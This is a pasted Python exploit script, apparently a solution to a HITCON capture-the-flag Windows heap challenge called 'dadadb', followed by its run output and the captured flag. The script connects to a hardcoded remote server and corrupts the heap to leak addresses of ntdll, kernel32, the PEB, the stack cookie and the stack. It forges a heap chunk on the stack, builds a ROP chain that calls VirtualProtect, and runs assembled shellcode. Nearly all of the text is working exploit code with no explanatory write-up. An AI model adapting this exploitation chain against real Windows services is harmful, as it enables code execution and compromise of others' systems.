SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/python | |
| 2 | # -*- coding: utf-8 -*- | |
| 3 | import struct, socket, sys, os, telnetlib, hexdump | |
| 4 | ||
| 5 | ################################################################################# | |
| 6 | ||
| 7 | def sock(host, port): | |
| 8 | s = socket.create_connection((host, port)) | |
| 9 | return s, s.makefile('rw', bufsize=0)
| |
| 10 | ||
| 11 | def read_until(f, delim='\n'): | |
| 12 | data = '' | |
| 13 | while not data.endswith(delim): data += f.read(1) | |
| 14 | return data | |
| 15 | ||
| 16 | def shell(s): | |
| 17 | t = telnetlib.Telnet() | |
| 18 | t.sock = s | |
| 19 | t.interact() | |
| 20 | ||
| 21 | def p(a): return struct.pack("<I",a&0xffffffff)
| |
| 22 | def u(a): return struct.unpack("<I",a)[0]
| |
| 23 | def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff)
| |
| 24 | def uQ(a): return struct.unpack("<Q",a)[0]
| |
| 25 | ||
| 26 | def dbg(ss): | |
| 27 | cs, ce = '\x1b[1;37m', '\x1b[00m' # White | |
| 28 | print(cs + "[+] %s: 0x%x"%(ss, eval(ss)) + ce) | |
| 29 | ||
| 30 | def make_asm(asm): | |
| 31 | open("sc.asm", "wb").write(asm)
| |
| 32 | r = os.system("nasm -f bin sc.asm -o sc.bin -l sc.lst")
| |
| 33 | if r != 0: exit() | |
| 34 | return open("sc.bin","rb").read()
| |
| 35 | ||
| 36 | def xxd(data): | |
| 37 | hexdump.hexdump(data) | |
| 38 | ||
| 39 | ################################################################################# | |
| 40 | ||
| 41 | def menu(): | |
| 42 | r = read_until(f, ">> ") | |
| 43 | #print [r] | |
| 44 | return r | |
| 45 | ||
| 46 | def login(): | |
| 47 | f.write("1\n")
| |
| 48 | read_until(f, "User:") | |
| 49 | f.write("orange\n")
| |
| 50 | read_until(f, "Password:") | |
| 51 | f.write("godlike\n")
| |
| 52 | return menu() | |
| 53 | ||
| 54 | def add(key, size, content, skip=False): | |
| 55 | assert size < 0x1000 | |
| 56 | f.write("1\n")
| |
| 57 | read_until(f, "Key:") | |
| 58 | f.write(("%s\n" % key)[:0x40])
| |
| 59 | read_until(f, "Size:") | |
| 60 | f.write("%d\n" % size)
| |
| 61 | read_until(f, "Data:") | |
| 62 | f.write("%s\n" % content)
| |
| 63 | if skip: | |
| 64 | return | |
| 65 | return menu() | |
| 66 | ||
| 67 | def show(key, skip=False): | |
| 68 | f.write("2\n")
| |
| 69 | read_until(f, "Key:") | |
| 70 | f.write("%s\n" % key)
| |
| 71 | if not skip: | |
| 72 | read_until(f, "Data:") | |
| 73 | return menu() | |
| 74 | ||
| 75 | def delete(key): | |
| 76 | f.write("3\n")
| |
| 77 | read_until(f, "Key:") | |
| 78 | f.write("%s\n" % key)
| |
| 79 | return menu() | |
| 80 | ||
| 81 | ################################################################################# | |
| 82 | if sys.argv[1] == 'r': | |
| 83 | HOST, PORT = "13.230.51.176", 4869 | |
| 84 | STACK_START_OFS = 0x2000 # some brute force | |
| 85 | ||
| 86 | else: | |
| 87 | HOST, PORT = "192.168.164.130", 4869 | |
| 88 | STACK_START_OFS = 0x4000 | |
| 89 | ||
| 90 | ofs_virtual_protect = 0x1B680 | |
| 91 | ofs_pop_rcx = 0x9217b #: pop rcx ; ret ; (4 found) | |
| 92 | ofs_pop_rdx = 0x8fb37 #: pop rdx ; pop r11 ; ret ; (1 found) | |
| 93 | ofs_pop_r8 = 0x2010b #: pop r8 ; ret ; (1 found) | |
| 94 | ofs_pop_r9 = 0x8fb34 #: pop r9 ; pop r10 ; pop r11 ; ret ; (1 found) | |
| 95 | ofs_pop_rax = 0x2010c #: pop rax ; ret ; (38 found) | |
| 96 | ofs_jmp_rax = 0x04c8b #: jmp rax ; (17 found) | |
| 97 | ||
| 98 | ################################################################################# | |
| 99 | s, f = sock(HOST, PORT) | |
| 100 | login() | |
| 101 | ||
| 102 | tag = pQ(0) | |
| 103 | print "[+] setup" | |
| 104 | add("Aa", 0x400, "A"*0x2f) # create
| |
| 105 | add("Aa", 0x10, "A"*0xf) # re-create
| |
| 106 | add(tag, 0x20, "z"*0xf) # victim | |
| 107 | ||
| 108 | print "[+] first leak" | |
| 109 | leak_data = show("Aa")
| |
| 110 | leak = uQ(leak_data[0x20:0x28]) | |
| 111 | dbg("leak")
| |
| 112 | heap = leak - 0x960 | |
| 113 | dbg("heap")
| |
| 114 | ||
| 115 | print "[+] leak dll, pie, peb, and stack" | |
| 116 | def leak(addr, size=0x20, leak_data=leak_data): | |
| 117 | forge = leak_data[:0x20] + pQ(addr) + pQ(size) + leak_data[0x30:] | |
| 118 | add("Aa", 0x10, forge)
| |
| 119 | r = show(tag) | |
| 120 | return uQ(r[:8]), r | |
| 121 | ||
| 122 | ntdll = leak(heap + 0x2c0)[0] - 0x163d10 | |
| 123 | ntdll &= ~0xfff | |
| 124 | dbg("ntdll")
| |
| 125 | assert leak(ntdll)[1].startswith("MZ") # debug
| |
| 126 | ||
| 127 | dadadb = leak(ntdll + 0x15f000 + 0x62c8)[0] - 0xf8 | |
| 128 | dbg("dadadb")
| |
| 129 | assert leak(dadadb)[1].startswith("MZ") # debug
| |
| 130 | ||
| 131 | cookie = leak(dadadb + 0x5008)[0] | |
| 132 | dbg("cookie")
| |
| 133 | ||
| 134 | kernel32 = leak(ntdll + 0x15f000 + 0x6fd8)[0] - 0x3d8d0 | |
| 135 | kernel32 &= ~0xfff | |
| 136 | dbg("kernel32")
| |
| 137 | assert leak(kernel32)[1].startswith("MZ") # debug
| |
| 138 | ||
| 139 | encoding = leak(heap + 0x88)[0] | |
| 140 | dbg("encoding")
| |
| 141 | ||
| 142 | peb = leak(ntdll + 0x165308)[0] - 0x80 | |
| 143 | dbg("peb")
| |
| 144 | ||
| 145 | ucrtbase = leak(ntdll + 0x178548)[0] | |
| 146 | dbg("ucrtbase")
| |
| 147 | assert leak(ucrtbase)[1].startswith("MZ") # debug
| |
| 148 | ||
| 149 | stackbase = leak(peb + 0x1010)[0] | |
| 150 | dbg("stackbase")
| |
| 151 | r = leak(stackbase + STACK_START_OFS, 0x1000)[1] | |
| 152 | while not "e\0x\0e\0" in r : | |
| 153 | r += menu() | |
| 154 | menu() | |
| 155 | stack = stackbase + STACK_START_OFS + len(r) + 0x102 | |
| 156 | dbg("stack")
| |
| 157 | ||
| 158 | print "[+] fix addr" | |
| 159 | leak(heap + 0x960) # for fix to delete | |
| 160 | leak_data = show("Aa")
| |
| 161 | ||
| 162 | print "[+] forge next and delete prev" | |
| 163 | def forge_next(addr, leak_data=leak_data): | |
| 164 | forge = leak_data[:0x20+0x58] + pQ(addr) + leak_data[0x20+0x58+8:] | |
| 165 | add("Aa", 0x10, forge)
| |
| 166 | ||
| 167 | forge_next(stack) | |
| 168 | delete(tag) | |
| 169 | ||
| 170 | print "[+] create shellcode to heap" | |
| 171 | shellcode = make_asm("""
| |
| 172 | BITS 64 | |
| 173 | global _start | |
| 174 | _start: | |
| 175 | ||
| 176 | open: | |
| 177 | mov r15, %#x | |
| 178 | lea rcx, [r15 + 0x5668] ; file_fd | |
| 179 | lea rdx, [rel FILENAME] ; filename | |
| 180 | lea r8, [rel PERMISSION] ; perm | |
| 181 | lea rax, [r15 + 0x31A8] | |
| 182 | call [rax] | |
| 183 | ||
| 184 | read: | |
| 185 | lea rcx, [r15 + 0x5f00] ; buffer | |
| 186 | mov rdx, 0x100 ; size | |
| 187 | mov r8, 0x1 ; count | |
| 188 | lea rax, [r15 + 0x5668] | |
| 189 | mov r9, [rax] ; file_fd | |
| 190 | lea rax, [r15 + 0x3208] | |
| 191 | call [rax] | |
| 192 | ||
| 193 | puts: | |
| 194 | lea rcx, [r15 + 0x5f00] ; buffer | |
| 195 | lea rax, [r15 + 0x31d0] | |
| 196 | call [rax] | |
| 197 | ||
| 198 | LOOP: | |
| 199 | jmp LOOP | |
| 200 | ||
| 201 | FILENAME: db "flag.txt", 0 | |
| 202 | PERMISSION: db "r", 0 | |
| 203 | """ % (dadadb)) | |
| 204 | #xxd(shellcode) | |
| 205 | ||
| 206 | add("hogehoge", 0x100, shellcode)
| |
| 207 | shellcode_addr = heap + 0x960 | |
| 208 | ||
| 209 | print "[+] forge note on to stack" | |
| 210 | fake_note = pQ(stack - 0x270) + pQ(0x300) | |
| 211 | #xxd(fake_note) | |
| 212 | show(fake_note, skip=True) | |
| 213 | ||
| 214 | print "[+] create fake heap on to stack " | |
| 215 | def create_heap_header(size, prev_size): | |
| 216 | busy=1 | |
| 217 | unused=0x10 | |
| 218 | size = size/0x10 | |
| 219 | prev_size = prev_size/0x10 | |
| 220 | raw = size | (busy<<16) | (((size&0xff)^((size>>8)&0xff)^busy)<<24) | (prev_size<<32) | (unused<<56) | |
| 221 | return encoding ^ raw | |
| 222 | ||
| 223 | fake_chunk = tag + pQ(create_heap_header(0x10, 0x10)) | |
| 224 | fake_chunk += pQ(0) + pQ(create_heap_header(0x20, 0x10)) | |
| 225 | fake_chunk += pQ(0) + pQ(0) | |
| 226 | fake_chunk += pQ(0) + pQ(create_heap_header(0x10, 0x20)) | |
| 227 | #xxd(fake_chunk) | |
| 228 | ||
| 229 | rsp = stack - 0x2e0 | |
| 230 | ||
| 231 | virtual_protect = kernel32 + ofs_virtual_protect | |
| 232 | pop_rcx = ntdll + ofs_pop_rcx | |
| 233 | pop_rdx = ntdll + ofs_pop_rdx | |
| 234 | pop_r8 = ntdll + ofs_pop_r8 | |
| 235 | pop_r9 = ntdll + ofs_pop_r9 | |
| 236 | pop_rax = ntdll + ofs_pop_rax | |
| 237 | jmp_rax = ntdll + ofs_jmp_rax | |
| 238 | ||
| 239 | rop = pQ(pop_rcx) | |
| 240 | rop += pQ(heap) # lpAddress | |
| 241 | rop += pQ(pop_rdx) | |
| 242 | rop += pQ(0x2000) # dwSize | |
| 243 | rop += pQ(0xdeadbeef) | |
| 244 | rop += pQ(pop_r8) | |
| 245 | rop += pQ(0x40) # flNewProtect (PAGE_EXECUTE_READWRITE) | |
| 246 | rop += pQ(pop_r9) | |
| 247 | rop += pQ(heap) # lpflOldProtect | |
| 248 | rop += pQ(0xdeadbeef) | |
| 249 | rop += pQ(0xdeadbeef) | |
| 250 | rop += pQ(pop_rax) | |
| 251 | rop += pQ(virtual_protect) | |
| 252 | rop += pQ(jmp_rax) | |
| 253 | rop += pQ(shellcode_addr) | |
| 254 | #xxd(rop) | |
| 255 | ||
| 256 | add(fake_chunk, 0x10, "Z"*0xe0 + pQ(rsp^cookie) + pQ(0)*4 + rop, skip=True) | |
| 257 | ||
| 258 | print "[+] shell" | |
| 259 | shell(s) | |
| 260 | ||
| 261 | """ | |
| 262 | [+] setup | |
| 263 | [+] first leak | |
| 264 | [+] leak: 0x2114b5e0960 | |
| 265 | [+] heap: 0x2114b5e0000 | |
| 266 | [+] leak dll, pie, peb, and stack | |
| 267 | [+] ntdll: 0x7ff94e160000 | |
| 268 | [+] dadadb: 0x7ff7de140000 | |
| 269 | [+] cookie: 0x5e6f3b24ab69 | |
| 270 | [+] kernel32: 0x7ff94e010000 | |
| 271 | [+] encoding: 0x661ce85fa323 | |
| 272 | [+] peb: 0x9440c1e000 | |
| 273 | [+] ucrtbase: 0x7ff94b280000 | |
| 274 | [+] stackbase: 0x9440b9d000 | |
| 275 | [+] stack: 0x9440b9f980 | |
| 276 | [+] fix addr | |
| 277 | [+] forge next and delete prev | |
| 278 | [+] create shellcode to heap | |
| 279 | [+] forge note on to stack | |
| 280 | [+] create fake heap on to stack | |
| 281 | [+] shell | |
| 282 | Done! | |
| 283 | hitcon{Oh_U_got_the_Exc4libur_in_ddaa-s_HEAP}
| |
| 284 | Try to learn breath of shadow to kill demon ! | |
| 285 | """ |